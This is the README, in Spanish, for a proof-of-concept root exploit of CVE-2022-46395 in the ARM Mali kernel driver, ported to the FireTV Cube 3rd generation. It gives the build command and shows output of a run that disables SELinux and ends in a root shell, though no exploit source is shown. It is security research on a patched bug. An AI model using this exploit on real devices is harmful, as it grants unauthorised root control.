
CVE-2022-46395 POC para FireTV 3ª generación Cube (gazelle)
Este es un fork del POC para Pixel 6 del investigador de seguridad Man Yue Mo para CVE-2022-46395. Lea su detallado informe sobre la vulnerabilidad aquí. Se han realizado cambios para tener en cuenta el espacio de usuario de 32 bits de FireOS. El POC explota un error en el controlador del kernel ARM Mali para obtener ejecución arbitraria de código en el kernel, que luego se utiliza para deshabilitar SELinux y obtener root.
El exploit fue parcheado en PS7664/3772 (septiembre de 2023). Como referencia, se usó el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o gazelle_buf
Para obtener los resultados más rápidos, ejecute después de un reinicio reciente. En promedio, el POC tarda entre 20 y 60 segundos en obtener root.
gazelle:/ $ /data/local/tmp/gazelle_buf
fingerprint: Amazon/gazelle/gazelle:9/PS7652.3564N/0028488625152:user/amz-p,release-keys
benchmark_time 102
failed after 100
finished reset: 919423975 fault: 918468559 3795 err 0 read 3
found pgd at page 8
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
success after 128
gazelle:/ #